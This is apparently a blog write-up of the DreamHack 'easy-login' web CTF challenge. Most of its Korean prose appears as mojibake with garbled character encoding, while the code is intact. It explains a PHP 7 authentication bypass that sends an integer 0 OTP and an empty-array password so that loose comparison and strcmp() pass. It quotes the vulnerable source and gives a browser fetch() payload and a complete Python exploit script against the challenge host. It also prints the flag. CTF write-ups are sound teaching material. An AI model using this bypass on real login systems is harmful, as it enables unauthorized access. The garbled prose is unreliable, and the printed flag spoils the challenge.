[π₯ Bronze 1] PHP7 νμ
μ κΈλ§ λ λ°©μΌλ‘ κ΄λ¦¬μ λ‘κ·ΈμΈ β DreamHack easy-login νμ΄ β ZINO2026-07-20Β·1λΆ μ½κΈ°Β·
κ΄λ¦¬μ λΉλ°λ²νΈμ OTPλ λ§€ μμ² μλ²μμ 무μμλ‘ μ¬μμ±λΌ λΈλ£¨νΈν¬μ€κ° λΆκ°λ₯νλ€. λμ κ²μ¦ λ‘μ§ λ κ³³μ΄ PHP7 νΉμ μ λμ¨ν νμ
λΉκ΅μ κΈ°λκ³ μλ€. otpμ μ μ 0μ λ£μΌλ©΄ "P123456" κ°μ λΉμ«μ λ¬Έμμ΄κ³Ό 0μ΄ κ°λ€κ³ νμ λκ³ , pwμ λΉ λ°°μ΄μ λ£μΌλ©΄ strcmp()κ° νμ
μλ¬λ‘ NULLμ λ°νν΄ ν΅κ³Όλλ€. login.phpλ₯Ό κ±°μΉμ§ μκ³ index.phpμ μ§μ JSONμ POSTν΄ νμ
μ μμ ν ν΅μ νλ€.
λ¬Έμ : DreamHack β easy-login
λΆλ₯: Web
λμ΄λ: π₯ Bronze 1
FLAG: DH{85256d8e59d3603651c9053572506e088d8a953e0faa59f769afd1745b09a618}
μ΄λ¦μ "easy"μ§λ§ λΉλ°λ²νΈλ OTPλ μλ²κ° λ§€ μμ² μλ‘ λ½λ λλ€κ°μ΄λΌ λΈλ£¨νΈν¬μ€λ‘λ λͺ» λ«λλ€. μμ€κ° μ 곡λλ λ¬Έμ λΌ, μ 곡λ²μ΄ μλλΌ PHP7 νΉμ μ λΉκ΅ κ·μΉ λ κ°λ₯Ό μ°Ύμ μ°ννλ κ² ν΅μ¬μ΄λ€.
easy-login λ©μΈ νμ΄μ§ β κ΄λ¦¬μλ‘ λ‘κ·ΈμΈν΄μΌ flagλ₯Ό μ€λ€
λ¬Έμ κ°μ
| νλͺ© | λ΄μ© |
|---|
| λ¬Έμ λͺ
| easy-login |
| λμ΄λ | π₯ Bronze 1 |
| λΆλ₯ | Web (PHP 7.3, Apache) |
| μ 곡 νμΌ | Dockerfile + deploy/src(index.php, login.php, flag.php) |
| ν΅μ¬ μ·¨μ½μ / κΈ°λ² | PHP7 λμ¨ν νμ
λΉκ΅ λ κ°λ₯Ό λμμ μ°ν(OTPΒ·λΉλ°λ²νΈ κ²μ¦) |
π§© λ°°κ²½ β PHPμ λμ¨ν λΉκ΅(==)μ strcmp()
PHPλ ==λ‘ λΉκ΅ν λ νΌμ°μ°μ νμ
μ΄ λ€λ₯΄λ©΄ μμμ νλ³νμ νλ€. μ€λμ λΆν° μ λͺ
ν ν¨μ μ΄, μ μ 0κ³Ό "μ«μλ‘ μμνμ§ μλ λ¬Έμμ΄"μ λΉκ΅νλ©΄ trueκ° λμ¨λ€λ κ²μ΄λ€(PHP 8λΆν°λ μ΄ κ·μΉμ΄ λ°λμ΄ λ μ΄μ ν΅νμ§ μλλ€ β PHP 7.3μΈ μ΄ λ¬Έμ μλ§ ν΄λΉ). μ΄ λ¬Έμ μ OTPλ νμμ΄λΌ νμ λ¬Έμλ‘ μμνλ, μ λ£μΌλ©΄ λ¬΄μ¨ κ°μ΄ λμ€λ ν΅κ³Όλλ€.
μ΄ κΈμ΄ λμμ΄ λλμ?
"P" + 6μ리 μ«μ
0
λ νλλ strcmp()λ€. μ΄ ν¨μλ λ λ¬Έμμ΄μ λΉκ΅νλλ‘ μ€κ³λλλ°, μΈμλ‘ λ°°μ΄μ λκΈ°λ©΄ νμ
μλ¬ κ²½κ³ λ₯Ό λ΄λ©΄μ NULLμ λ°ννλ€. μ½λκ° !strcmp($a, $b)λ‘ "λ€λ₯΄μ§ μμΌλ©΄ true"λ₯Ό κ²μ¬νκ³ μλ€λ©΄, NULLλ !NULL == trueλΌ κ²μ¬λ₯Ό κ·Έλ₯ ν΅κ³Όν΄λ²λ¦°λ€.
π¬ μ μ°° β μμ€ μ½λ
index.phpμ ν΅μ¬ λ‘μ§μ΄λ€.
$admin_pw = generatePassword(32); // λ§€ μμ² μλ‘ μμ±λλ 32μ리 hex
$otp = generateOTP(); // "P" + 6μ리 μ«μ, λ§€ μμ² μλ‘ μμ±
function login() {
$cred = json_decode(base64_decode($_POST['cred']), true);
if ($cred['id'] != 'admin') { ... }
if ($cred['otp'] != $GLOBALS['otp']) { echo "OTP fail"; return; }
if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
require_once('flag.php');
echo "Hello, admin! get the flag: " . $flag;
}
}
$credλ $_POST['cred']λ₯Ό base64 λμ½λ β JSON λμ½λν΄μ λ§λ λ€. JSONμ λ¬Έμμ΄Β·μ«μΒ·λ°°μ΄Β·λΆλ¦¬μΈμ λͺ
νν ꡬλΆν΄μ ννν μ μμΌλ, credλ₯Ό μ°λ¦¬κ° μ§μ λ§λ€λ©΄ otpμ pwμ νμ
μ μμ ν ν΅μ ν μ μλ€.
otp: μ μ 0 -> 0 == "P123456" λ PHP7μμ true
pw : λΉ λ°°μ΄ [] -> strcmp([], $admin_pw) == NULL, !NULL == true
λ¨Όμ μ μμ μΈ νλ©΄μμ μ무 κ°μ΄λ λ£μ΄ νλ¦μ νμΈνλ€.
id=admin, pw=μ무κ°, otp=P000000 μΌλ‘ μλ β OTP fail (λΉμ°ν 6μ리 λλ€μ λͺ» λ§μΆλ€)
π£ ν΅μ¬ β login.phpλ₯Ό 건λλ°κ³ JSON νμ
μ μ§μ ν΅μ
λ¬Έμ λ νλ©΄μ μ
λ ₯ νΌ(id, pw, otp ν
μ€νΈ νλ)μ κ·Έλλ‘ μ°λ©΄ μΈ κ°μ΄ μ λΆ λ¬Έμμ΄λ‘ μ μΆλλ€λ μ μ΄λ€. login.phpλ₯Ό 보면 μ΄μ κ° λμ¨λ€.
// login.php
$a = array();
foreach ($_POST as $k => $v) { $a[$k] = $v; } // $_POST κ°μ μ λΆ λ¬Έμμ΄
$j = json_encode($a);
echo '<input type="hidden" name="cred" value="' . base64_encode($j) . '">';
νΌμ μ
λ ₯ν κ°μ κ·Έλλ‘ JSONμΌλ‘ μΈμ½λ©ν΄ credλ₯Ό λ§λ€κ³ index.phpλ‘ μλ μ μΆνλ μ€κ³ νμ΄μ§λ€. $_POSTλ₯Ό κ±°μΉλ ν otpλ νμ "0"(λ¬Έμμ΄), pwλ λ°°μ΄ λ¦¬ν°λ΄μ ν
μ€νΈ νλμ μ
λ ₯ν λ°©λ²μ΄ μλ€. login.phpλ₯Ό κ±°μΉ νμκ° μλ€λ κ² ν΅μ¬μ΄λ€ β index.phpμ login()μ $_POST['cred']λ§ λ³΄μ§ μ΄λμ μλμ§λ μ κ²½ μ°μ§ μλλ€. credλ₯Ό μ°λ¦¬κ° μ§μ λ§λ€μ΄ index.phpμ λ°λ‘ POSTνλ©΄ JSON νμ
μ μμ ν ν΅μ ν μ μλ€.
λΈλΌμ°μ μ½μμμ fetch()λ‘ μ§μ μμ²μ λ³΄λ΄ νμΈνλ€.
fetch('index.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'cred=' + encodeURIComponent(
btoa(JSON.stringify({id: 'admin', pw: [], otp: 0}))
)
}).then(r => r.text()).then(t => { document.open(); document.write(t); document.close(); });
λΈλΌμ°μ μμ μ§μ fetch()λ‘ otp=0(μ μ), pw= JSONμ POST β PHP κ²½κ³ μ ν¨κ» flagκ° κ·Έλλ‘ λμ¨λ€
Warning: strcmp() expects parameter 1 to be string, array givenμ΄ κ·Έλλ‘ μ°νκ³ , λ°λ‘ μ΄μ΄μ Hello, admin! get the flag: DH{...}κ° μΆλ ₯λλ€. κ²½κ³ λ©μμ§ μμ²΄κ° strcmp()κ° νμ
μλ¬λ‘ NULLμ λ°ννλ€λ μ¦κ±°μ΄κ³ , κ·Έ μ§ν flagκ° λμ¨ κ² !NULLμ΄ μ‘°κ±΄μ ν΅κ³ΌμμΌ°λ€λ λ»μ΄λ€.
π Full Exploit
κ°μ μμ²μ νμ΄μ¬μΌλ‘ μ 리νλ€.
import base64
import json
import sys
import urllib.request
import urllib.parse
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:19231/"
payload = {"id": "admin", "pw": [], "otp": 0}
cred = base64.b64encode(json.dumps(payload).encode()).decode()
data = urllib.parse.urlencode({"cred": cred}).encode()
req = urllib.request.Request(BASE + "index.php", data=data, method="POST",
headers={"Content-Type": "application/x-www-form-urlencoded"})
with urllib.request.urlopen(req, timeout=15) as resp:
body = resp.read().decode()
print("[*] payload cred (decoded):", json.dumps(payload))
for line in body.splitlines():
if "flag" in line.lower() or "hello" in line.lower() or "fail" in line.lower() or "error" in line.lower():
print("[+]", line.strip())
python3 solve.py μ€ν β λΌμ΄λΈ μλ²μ μ§μ μμ²ν΄ flag νλ
λ¬Έμ νμ΄μ§μμλ μ΄ μλ²κ° μ€μ λΌμ΄λΈ μΈμ€ν΄μ€μμ νμΈν μ μλ€(VM ν¬λ λ§Β·μ’
λ£ νμ΄λ¨Έ νμ).
DreamHack λ¬Έμ νμ΄μ§ β VM μ μ μ 보μ μ΄λ―Έ ν΄κ²°ν λ¬Έμ νμ
python3 dreamhack.py wg 1213 --flag 'DH{85256d8e59d3603651c9053572506e088d8a953e0faa59f769afd1745b09a618}'
dreamhack.py CLIλ‘ flag μ μΆ β RESULT: μ λ΅! ν΄κ²° μ²λ¦¬λ¨
π κ²°λ‘
μμ€κ° μ£Όμ΄μ§λ©΄ "μ°ν κ°λ₯ν λΉκ΅ μ°μ°"λΆν° μ°Ύλλ€.
λΈλ£¨νΈν¬μ€κ° λ§ν μμ λ μ 곡λ²μ΄ μλλΌ λ‘μ§ μ체μ νμ μ μ°Ύλ κ² μ΄λ° λ¬Έμ μ μ μμ΄λ€. !=λ strcmp() κ°μ λΉκ΅ ν¨μκ° λ±μ₯νλ©΄, κ·Έ μΈμ΄μ νμ
μμ€ν
μ΄ "κ°μ§ μμ"μ μ΄λ»κ² νμ νλμ§λΆν° μμ¬ν΄λ³Ό κ°μΉκ° μλ€.
μ
λ ₯ κ²½λ‘κ° μ¬λ¬ κ°λ©΄ κ°μ₯ λμ¨ν κ²½λ‘λ₯Ό μ°Ύλλ€.
μ΄ λ¬Έμ μ μ§μ§ μ·¨μ½μ μ νμ
μ κΈλ§ μ체보λ€, "νΌμΌλ‘ μ
λ ₯νλ©΄ λ¬Έμμ΄λ‘ κ΅³μ§λ§, credλ₯Ό μ§μ λ§λ€μ΄ 보λ΄λ©΄ νμ
μ λ§μλλ‘ μ ν μ μλ€"λ μ°ν κ²½λ‘μ μμλ€. ν΄λΌμ΄μΈνΈκ° λΈλΌμ°μ νΌ νλλΏμ΄λΌκ³ μλ²λ κ·Έ νΌμ ν΅ν΄μλ§ κ°μ λ°λλ€κ³ κ°μ νλ©΄ μ λλ€ β login.phpλΌλ μ€κ° λ€λ¦¬λ₯Ό 건λλ°κ³ index.phpμ μ§μ μμ²νλ μκ° κ²μ¦μ΄ 무λμ‘λ€.
Comments
λκΈ
λκΈμ λ¨κΈ°λ €λ©΄ λ‘κ·ΈμΈμ΄ νμν΄μ. (λ€μ΄λ² Β· κ΅¬κΈ κ³μ )
λκΈ λΆλ¬μ€λ μ€β¦